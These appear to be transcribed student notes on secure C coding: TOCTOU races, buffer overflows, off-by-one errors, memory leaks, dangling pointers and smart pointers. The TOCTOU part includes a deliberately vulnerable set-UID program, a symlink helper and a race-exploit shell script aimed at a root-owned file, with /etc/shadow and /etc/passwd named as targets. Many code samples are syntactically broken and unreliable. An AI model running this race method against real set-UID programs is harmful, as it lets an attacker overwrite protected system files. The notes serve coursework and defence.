Race Condition Vulnerability

[TOCTOU]

→ A flaw that occurs when the output of a process is unexpectedly dependent on the sequence/timing of other uncontrollable events.

→ The race : 2 or more threads access a shared variable at the same time.

Thread A reads the value of shared variable ⟷ thread B does the same too

Both needs to perform their operations based on the original value

the threads "race" to write their new value back to var

The LAST THREAD to write wins, & its value is preserved, overwriting the value written by other thread

→ the output is UNPREDICTABLE & depends on the precise timing of thread execution.

* TOCTOU (Time-Of-Check-to-Time-of-Use)

→ type of race cond" common in priviledged programs (sudo/root)

→ How exactly this work?

TOC ⇒ priviledged program performs security check on a resource [ex: If user has access to the file.]

TOU ⇒ later the prog, uses the same resource (open & write)

→ Vuln window :- critical flaw is the delay b/w TOC & TOU. An attacker can exploit this window.

→ Basically, Attacker "can RACE" and run a "el process if it has TOCTOU vuln.

and they can change the state of it (shared resource) after priveldged check but before its use.

Vulnerable program :-

```
# include <stdio.h>
# include <unistd.h>   --> for access()
# include <string.h>   --> strlen()
# define DELAY 5000

int main (int argc, int* argv[]) {
    char * f = argv[1];
    char buffer [60];
    int i;
    FILE * fileHandler;
    scanf ("%50s", buffer);
    if (!access (f, W_OK)) { for (i=0; i<DELAY; i++) {
        int a = i ^ 2; } }
    fileHandler = fopen (f, "a+");
    fwrite ("\n", sizeof (char), 1, fileHandler);
    fclose (fileHandler); }
    else {
        printf ("no permission \n"); } }
```

argc → count how many arg. are passed to cmd line

argv[] → array of strings from cmd line

./a.out file.txt → argc=2 (argv[0], argv[1])

to avoid buffer flow (scanf "%50s")

!! it is writable → with permission

access() → 0 allowed, -1 not

^ → XOR

appends a string of user input to the end of the file

~~sizeof (char), 1~~

- file name taken in cmd line args
- should owned by "ROOT" user
- and set-UID prog for executable ⇒ ∴ it'll run as ~~root privilege~~
- vuln ⇒ delay b/w access() and fopen()

Compilation :-

- copy the abv code & save it as vuln.c
- open terminal
- change to root user su root
- clang compiler to compile ⇒ clang vuln.c -o vuln
- ls -l ⇒ check if its owned by root.
- set set-UID bit to binary file

    chmod u+s vuln

Exploitation :-

- when attacker creates a sym link for the same filename → pointing to protected file (/etc/shadow) which don't hv perm. to edit
- overwrite any file that belongs to root user which usually we don't have permission to overwrite it
- The check access() → check a file that we're allowed to write to
- the switch → the tiny window b/w check & use, we quickly swap the file passwdlocal to point to a protected file like /etc/passwd using sym link
- The use fopen() → prog thinks that passwdlocal is the file to open, open's the /etc/passwd

    since it is root → got permission to write to this file.

steps :-

- change to root user
- create passwd file & put some words in it

    echo "This is a file owned by the USER" > passwd

- verify it is owned by root

    ls -l passwd (to overwrite this root owned passwd file)

- write a symbolic link program or manually.

Code

```
# include <stdio.h>
# include <unistd.h>
# include <string.h>

int main (int argc, char * argv[])
{
    unlink (argv[1]);   // delete
    symlink ("./passwd", argv[1]);   // create a sym link
}
```

shell

```
rm -f targetfile
ln -s ./passwd targetfile
```

copy the abv code and save it as sym.c

open terminal (normal user)

clang sym.c -o sym → binary is ready to use.

- script to exploit the vuln prog.

```
#!/bin/sh
# exploit.sh

old = $(ls -l ./passwd)      } store ori listing details
new = $(ls -l ./passwd)      } of target file

initially they're same but when they run in loop, they're diff. → attack is successful

while ["$old" = "$new"]      } contin as long as the
do                             passwd file remains
                               unchanged
    rm -f passwdlocal   ← delete old "p" file from prev attempts
    echo "____" > passwdlocal   ← create new
                                  to checks file the vuln with access()

    echo "TOCTOU-Attack-success" > ./vuln passwdlocal   ← pipes the msg to the targeted file
    ./sym passwdlocal &   → tells prog to delete passwdlocal and sym point to ./passwd   (& → moves to other vuln while waiting for it to complete)
    new = $(ls -l ./passwd)
done
```

→ 2 processes is running now (victim & attacker)

→ checks for success

```
echo "STOP, done!!"
```

- save above .sh as exploit.sh
- execute → ./exploit.sh

Mitigation

- best approach is to apply least privilege principle (if users who use the prog don't need a certain privilege → should be disabled.)
- seteuid() → temp sys calls to disable root privilege

Fixed code:-

```
#include <sys/types.h>

after delay loop → seteuid(getuid());   ← ID of user who actually ran the prog.
```

- after compiling, attack won't be succeed and setting set UID

Buffer Flow Vuln

Buffer :- A temp storage region in prog's mem used to hold data while it is being moved from 1 place to another.

ex-

```
#include <stdio.h>
void main(){
        char a[5]; }     -> 5 bytes of mem. for char
```

Buffer Overflow vuln that occurs when a prog writes more data to a buffer that it can hold.

the excess data - doesn't disapper
- "overflows" & overwrites to adj mem addr
- can corrupt & crash datas

ex:-

```
int main(void){
    int auth = 0
    char sys[16] = "Secret";
    char usr[16];

    printf("enter:");
    scanf("%s", usr);   -> %s vuln (any length)
    if (strcmp(sys, usr) == 0){
            auth = 1; }

    printf("addr: %p\n", (void*) usr);
                                  & auth

    if (auth){ printf("Auth!"); }
    else { }
}}
```

Mem

mem arrangement
- sys -> 0xbfff f28C] + size 16
- usr -> 26C
- auth -> 27

Case 1 : randompassword -> fits 16 bits buffer
- auth -> false
- result -> failed

Case 2 : veryveryverylongrandompassword >16
- -> addr usr overwritten
- -> again to auth

now, the value of 4 bytes of data that hpns to be written in mem location
- -> gives Auth!

Segmentation fault -> main tries to return garbage & invalid mem addr.
- OS terminates -> segmentation fault

Mitigations :-
- fgets()
- strncpy()
- %ns.

gets()/scanf()

```
char ch[5] = "seee";     -> crt pwd        ['s','e','e','e','\0']
char uch[5];
int auth = 0             -> flag, failed   ] -> if local & there might be a stack smashing

int main(){
    scanf("%s", uch);   vuln
    if (strncmp(ch, uch, 5) == 0){    cmp only 5
        auth = 1
        printf("%d\n", auth); }       (strncmp doesn't mitigate for scanf)

    printf("%p\t %d\n", (void*)&auth, auth);
                        ch, ch);
                        uch, uch);

    if (auth) { }
    else { } }
```

Vuln :-
- if very long is entered due to scanf
- -> since global, compiler dependent often seg
- [uch] [ch] [auth] or [ch] [uch] [auth]

Case 2

AAAAABBBBCCCC
- -> auth = 1128481282 -> CCCC
- ch = BBBB
- uch = AAAA

Mitigations :- fgets(uch, sizeof(uch), stdin) != NULL)
- (sizeof: size-1, adds \0)

scanf("%4s", uch)

snprintf(dest, sizeof(dest), "%s", src);

strcmp vs strncmp

%p → hex value of mem. addr

⇒ strcmp (t1, t2)

- compares 2 null-terminated strings
- compares till it finds mismatch or encounters \0
- 0 → identical
  +ve → higher ASCII } mismatching
  -ve → lower ASCII
- [if it isn't properly '\0' then it starts to read memory]

⇒ strncmp (t1, t2, 8)

at most first n chars

- compares upto n
  stops if it finds it early
- Same
- acts as bound → preventing from readin' further

ex:-

```
int main(void) {
    char * s1 = 'abc';      | char s1 = {'a', 'b', 'c'}
    char * s2 = 'def';      | char s2 = {'d', 'e', 'f'}
    printf ("%d", strcmp(s1,s2));
    printf ("%d", strncmp(s1,s2,2)); }
```

strcat vs strncat

⇒ strcat (dest , src)

- appends a copy of \0 source string to the end of another '\0' dest
- appends after find '\0'
- copies src to dest
- assumes dest buffer is large enough to hold dest + src + 1
  ⇒ no checking done → buffer overflow happens

⇒ strncat (dest, src, n)

→ appends at most n chars from src to dest

prevents the buffer of

ex:-

```
char src[10] = 'Amrita';
char dest1[50] = 'cybersec';
char dest2[10] = 'TIFAC';

strcat (dest1, src)      ⇒ cybersecAmrita
strncat (dest2, src, 3)  ⇒ TIFACAmr
```

Off by One Error

- logic error in size calculation when working with strings and arrays
- produces a boundary condⁿ ⇒ lead to mem corruption / buffer overflow.

ex:-

```
# define MAX_VALUE = 20
# define MAX_SIZE = 30     → wrong size of for filename (f)

int main() {
    int x;
    int loop = 0;
    char f [MAX_VALUE] = " ________ ";   ⇒ 19+1
```

Loop based off-by-one

```
    printf ("%d", strlen(f));   ⇒ 19 (output)
    for (x=0; x <= MAX_SIZE; x++) {   → ≤ ⇒ runs till 30 31 iter.
        printf ("%c", f[x]);          print [20 to 30] → garbage
        loop += 1; }                  ↳ ' ' + 11 garbage values
    printf ("%d", loop);   ⇒ 31
```

String cpy off-by-one error

```
    char buf2[8] = "buffer:";    → 7+1=8
    char buf1[8] = "buffer:";
    char a[2] = "H";             → H+1=2
    printf ( sizeof(buf2)   → 8 (array size)
             strlen(buf2)   → 7 (length of str)
             buf2           → buffer:
        %c   buf2[7]        → space or no thing (for null)

    if (!strcmp (buf1, buf2)) { }  ] → true
    else { }
```

Critical off-by-one bug

```
                              8-7=1
    strncat ( buf2, a, sizeof(buf2) - strlen(buf2));
    printf (sizeof(buf2));   → 8
            strlen(buf2)     → 8      Buffer:H
            buf2             (same) 33. H   not dest
```

memcpy() - transfers a specified no. of bytes from the source buffer to dest buffer, irrespective of any null-terminating chars present within the copied data.

raw mem copy
doesn't care about data

strdup() - duplicates a string to a location that'll be decided by a fn itself. fn will copy the contents of string to certain mem. location & returns the addr to that location

↳ ptr2 = malloc (strlen (ptr1)+1); } equivalent
strcpy (ptr2, ptr1).

#include <stdlib.h> → char *my [10];

```
int main(){
    strcpy(s, "Amrita");
    char *name;
    name = strdup (my);
```

output:

%p \t %d → name → dynamic addr
my → addr is fixed

```
    free(name);
    return 0; }
```

Mitigations

→ snprintf (char *str, size_t size, const char *format, ...)
↳ safest way to write formatted data to a string buffer.

eg:- char mystr[5];
snprintf (mystr, sizeof (mystr), "%s", "apple");
printf ("%s", mystr) ⇒ appl

→ strlcpy() and strlcat() ⇒ copy & concatenate strings w same input parameters & output result as snprintf() ⇒ NUL-termination if there is room.

→ Always ensure input strings are within expected sizes before processing them!

→ dynamic memory allocation

→ safe f's ⇒ strcat_s, strcpy_s() ... → only if it can do it w/o overflow otherwise it returns non-0.

better than strlcpy as no truncation.

correct :- strcpy_s (dst, sizeof(dst), src) → "", r=0
strcpy_s (dst, sizeof(dst), "_____") ⇒ " ", r=22

Wide characters

- to support international characters
- >256 (ASCII values)
- data type : wchar_t (2 bytes) or 4 bytes (↳ 64K)
- can hold UNICODE characters

strcpy	→ wcscpy	printf	→ wcout / wprintf
strncpy	→ wcsncpy	char	→ wchar_t
strcat	→ wcscat	string	→ wstring
strlen	→ wcslen		

```
wchar_t ch1 = L'a';
wstring mss = L"Hello";
size_t const N {33};
wstring wstr[N]; ⇒ wstr[0] = L"";
```

wsncopy :- copies the 1st num chars of src to dst.
- if end wide str is found before num chars have been copied ⇒ dst is padded w add'l null wide chars until total of num chars have been written to it.
- no null is added until the num ⇒ end of dest.

⇒ wcscpy (dst, src, n); wchar_t

Memory Allocation & DeAllocation

Memory → what is stored?

- code → text
- consts → Data
- global, static var → BSS
- local var → Stack
- dynamic memory (malloc) → Heap

How?

Allocated?	deAllocated?
global & static var — program startup	program finish
local → fun call	fun return
dyn → malloc()	free ()

Dangling Pointers

- use after free
- Pointer that no longer points to a valid memory
- usually happens when memory has been freed, but addr is kep inside the pointer.

ex:-

```
#include <stdio.h>
#include <stdlib.h>
int main(){
    int *ptr = malloc (sizeof(int));
    if (ptr == NULL) { return 0; }
    *ptr = 50;
    printf("%d\n", *ptr);
    free(ptr);
    *ptr = 7;   ——→ X wrong.
```

~~Memory Allocation &~~ ~~DeAllocation~~.

strcpy → no +
*ptr = "Am";
→ %s → *ptr

free() }
free() } double free X

Mitigation :- free(ptr);
ptr = NULL

Memory leaks

- software bug that occurs when a prog fails to release memory that no longer needed, causing the prog to consume more memory than needed.
- over time, this accumulation → decrease in sys performance. (crashes)
- 3 core reasons :-
  * not free memory that no longa needed
  * trying to free by using wrong f^n
  * trying to free by using dangling ptrs.
- Types :- dynamic memory Alloc
  * malloc → not dealloc
  * malloc → dealloc with delete
  * new → not dealloc with delete
  * new[] → delloc with delete → delete[]
  * new → dealloc with free

ex:-

```
stdlib.h
stdio.h
read-only
char * d1 = "Amrita";  }  doesn't allocate in
char * d2 = "TIFAC";   }  heap
printf("d1 = %p\t %s\n", (void*) d1, d2);
strcpy( d1, "A mrita");
d2 = d1   → same mem.
free(d1); → w/o malloc
   char *d1.   use malloc (sizeof(char))
```

ex:- time.h

```
int main () {
    srand ( time (NULL));
    int i = 0;
    while (i++ < 5){
        int * ptr = malloc(sizeof(int));
        *ptr = rand() % 100;
        printf("%d", *ptr);
```

out of scope — need to free ptr

Memory Management

- zero memory :- setting all bits in block of memory to zero
- malloc () doesn't do this
  ↳ contains random allocated garbage values

∴ use calloc() ⇒ calloc (n, sizeof) ⇒ returns with all blocks = 0

ex:-

```
int* y = malloc (n* sizeof(int));

y[i] = _ ;   → thinks that it is '0' but not
```

- use memset() : value that we want can be set

```
memset (p, 0, 5 * sizeof(int));
```

(0 = value; p = block of mem; 5 * sizeof(int) = no. of bytes)

- once mem is freed, it is still possible to read/write from its location if mem pointer hasn't been set to null.

ex:-

```
for (p=head; p != NULL; p→next) { ×
    free(p);  → dangling pointer   → before
```

1st node is freed, moves to next; now next tries to access the mem that was just freed.

```
p = q

q = p→next;
free (p);
```

- realloc () → deallocates the old obj & returns a pointer to a new object of a specified size

issues:
- if mem for new obj can't be allocated, the realloc() f° doesn't dealloc the old obj & it's value unchange
- if it gives null ptr, failing to free the old mem will result in mem leak.

(mem alloc many not due to ... (as pointer))

ex:-

```
char * p2;
char * p = realloc (100 sizeof(char));

if ((p2 = realloc (p, nsize)) == NULL) {
```

NULL indicates that it didn't realloc mem req by p

```
    if (p) free p;
    p = NULL;
    return NULL; }

p = p2
```

nsize → 0: null ptr / ptr to an invalid obj (zero length)

Smart pointers → c++

- act like raw pointers, but automatically manages mem. ensuring proper dealloc & preventing mem. leaks, double frees & dangling pointers

1. unique_ptr : only one owner
   unique_ptr owns the obj it points to
   only one unique_ptr can own an object at a time

ex:- (no delete needed)

```
#include <memory>
#include <iostream>
~~#include <~~
using namespace std;

int main(){
    unique_ptr <int> p1 (new int);    }  or  unique_ptr <int>
    * p1 = 10                                p1 = make_unique <int> 42;

    unique_ptr <int> p2;
    p2 = move (p1);    → p1 is removed now only p2 exists.

    if ( static_cast <bool> p1)
       cout << "p1 valid" << endl;   } valid / not  → p1 × p2 ✓
```

```
int i;
unique_ptr < int [] > arrptr ( new int [5]);
for (    ) {
    arrptr [i] = i; }
{ };
for ( ) { cout << arrptr [i] << endl; }
```

2. Shared_ptr :-

- multiple shared_ptr can point to same obj
- use reference counting internally
- count ↑es when new one is made
- count ↓es → destroyed
- count = 0 ; all are freed
- no need of move as it is shared

ex:- `shared_ptr<int> p1 (new int);`

`*p1 = 10;`

`shared_ptr<int> p4 (p1);` → shared

`cout << *p1 << " " << *p4;` ⇒ 10 10

`shared_ptr<int> p5 ( move (p3));` p3 → emptied

p3. use_count() → 0

p4. use_count() → 2

p5. use_count() - 2

`shared_ptr<int> p6 (new int);`

`*p6 = 20;`

~~shared~~ p7; ;

`*p7 = *p6` ⇒ *p7 & *p6 share 20

`p6 = make_shared<int>(40);`

p6 = 40; → 1

p7 = 20; → 1

problem :- If A has shared_ptr to B

B a A

both are destroyed → circular_link

∴ weak_ptr is used.

auto a = make_shared<B>();

b) →

c →

a → b = b;

b → a = a;

c → a = a;

3. Weak_ptr :-

- has capability to points to the object but don't own it
- create non-owning ref to the obj shared by ptrs
- doesn't ↑ use_count(),
- break ref. (where 2 shared_ptr keep c/o each other) ↳ leads to mem leak.

ex:- `shared_ptr<int> p8, p9;`

`weak_ptr<int> w;` → 50

`p8 = make_shared<int>(50);`

no count ← (w) = p8; → 50

p9 = w.lock(); → convert weak to shared

50

p9.reset() → released, p8 owns it

p9 = w.lock()

p8 } → 50
p9 }

p8.reset() } no shared_ptrs
p9.nest(); } heap destroyed
w → observes but no longer points to a valid resource

p8 = w.lock()

if (static_cast<bool>(p8)) {

} else { } → not valid.